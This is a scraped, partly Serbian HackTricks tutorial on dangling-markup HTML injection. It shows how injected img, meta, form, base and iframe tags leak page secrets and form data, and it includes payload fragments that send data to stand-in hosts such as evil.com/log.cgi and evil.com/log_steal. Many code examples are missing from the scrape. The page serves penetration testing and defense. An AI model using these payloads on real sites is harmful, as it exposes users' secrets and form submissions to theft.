Dangling Markup - HTML scriptless injection
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Resume
Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se HTML injekcija pronađe. Ovo je veoma korisno ako ne pronađete način da iskoristite XSS ali možete injektovati neke HTML tagove. Takođe je korisno ako je neka tajna sačuvana u čistom tekstu u HTML-u i želite da je izvučete od klijenta, ili ako želite da obmanete neku izvršavanje skripte.
Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih Content Security Policy eksfiltracijom informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Main Applications
Stealing clear text secrets
Ako injektujete <img src='http://evil.com/log.cgi?
kada se stranica učita, žrtva će vam poslati sav kod između injektovanog img
taga i sledeće navodnike unutar koda. Ako se neka tajna nekako nalazi u tom delu, ukrasti ćete je (možete uraditi istu stvar koristeći dvostruke navodnike, pogledajte šta bi moglo biti zanimljivije za korišćenje).
Ako je img
tag zabranjen (zbog CSP-a na primer) možete takođe koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete probati druge protokole kao što je "ftp".
Takođe možete zloupotrebiti CSS @import
(će poslati sav kod dok ne pronađe ";")
Možete takođe koristiti <table
:
Možete takođe umetnuti <base
tag. Sve informacije će biti poslate dok se citat ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će <base
tag promeniti domen na koji link upućuje):
Krađa obrazaca
Zatim, forme koje šalju podatke na putanju (kao što je <form action='update_profile.php'>
) će slati podatke na zloćudnu domenu.
Stealing forms 2
Postavite zaglavlje forme: <form action='http://evil.com/log_steal'>
ovo će prepisati sledeće zaglavlje forme i svi podaci iz forme će biti poslati napadaču.
Stealing forms 3
Dugme može promeniti URL na koji će informacije iz forme biti poslate sa atributom "formaction":
Napadač može koristiti ovo da ukrade informacije.
Pronađite primer ovog napada u ovom izveštaju.
Krađa tajni u čistom tekstu 2
Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad kombinuje "Krađu tajnih podataka u čistom tekstu" sa "Krađom formi2".
Možete učiniti istu stvar injektovanjem forme i <option>
taga. Svi podaci do zatvorenog </option>
će biti poslati:
Injekcija parametara forme
Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana radnja:
Krađa tajni u čistom tekstu putem noscript
<noscript></noscript>
Je oznaka čiji će sadržaj biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/isključiti Javascript u Chrome-u na chrome://settings/content/javascript).
Način za eksfiltraciju sadržaja web stranice od tačke injekcije do dna na sajt koji kontroliše napadač biće injektovanje ovoga:
Bypassing CSP with user interaction
Iz ovog portswiggers istraživanja možete saznati da čak i iz najviše CSP ograničenih okruženja možete još uvek izvući podatke uz malo interakcije korisnika. U ovoj prilici ćemo koristiti payload:
Napomena da ćete tražiti od žrtve da klikne na link koji će ga preusmeriti na payload koji kontrolišete. Takođe, napomenite da će target
atribut unutar base
taga sadržati HTML sadržaj do sledeće jednostruke navodnike.
To će učiniti da će vrednost window.name
ako se link klikne biti sav taj HTML sadržaj. Stoga, pošto kontrolišete stranicu na kojoj žrtva pristupa klikom na link, možete pristupiti tom window.name
i ekfiltrirati te podatke:
Zavaravajući tok skripte 1 - HTML namespace napad
Umetnite novu oznaku sa id-jem unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:
Zavaravajući tok skripte 2 - Napad na prostor imena skripte
Kreirajte promenljive unutar javascript prostora imena umetajući HTML tagove. Tada će ova promenljiva uticati na tok aplikacije:
Zloupotreba JSONP-a
Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:
Ili možete čak pokušati da izvršite neki javascript:
Iframe zloupotreba
Dečiji dokument ima mogućnost da pregleda i menja location
svojstvo svog roditelja, čak i u situacijama sa različitim poreklima. To omogućava umetanje skripte unutar iframe koja može preusmeriti klijenta na proizvoljnu stranicu:
Ovo se može ublažiti nečim poput: sandbox=' allow-scripts allow-top-navigation'
Iframe se takođe može zloupotrebiti da bi se otkrile osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji se sam iframe-uje zloupotrebljavajući HTML injekciju koja čini da osetljive informacije izgledaju unutar atributa imena iframe-a i zatim pristupiti tom imenu iz inicijalnog iframe-a i otkriti ga.
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
Možete koristiti meta http-equiv
za izvođenje several actions kao što je postavljanje kolačića: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ili izvođenje preusmeravanja (u 5s u ovom slučaju): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Ovo se može avoided sa CSP u vezi sa http-equiv ( Content-Security-Policy: default-src 'self';
, ili Content-Security-Policy: http-equiv 'self';
)
New <portal HTML tag
Možete pronaći veoma interesting research o iskoristivim ranjivostima <portal taga here.
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u chrome://flags/#enable-portals
ili neće raditi.
HTML Leaks
Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Ovo je mešavina između dangling markup i XS-Leaks. S jedne strane, ranjivost omogućava injekciju HTML-a (ali ne JS) na stranicu iste domene kao ona koju ćemo napadati. S druge strane, nećemo napadati direktno stranicu na kojoj možemo injektovati HTML, već druguu stranicu.
SS-LeaksXS-Search/XS-Leaks
XS-Search su orijentisane na ekstrakciju informacija iz različitih domena zloupotrebom napada putem sporednih kanala. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su CSS Injection ili Lazy Load Images.
XS-Search/XS-LeaksBrute-Force Detection List
References
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated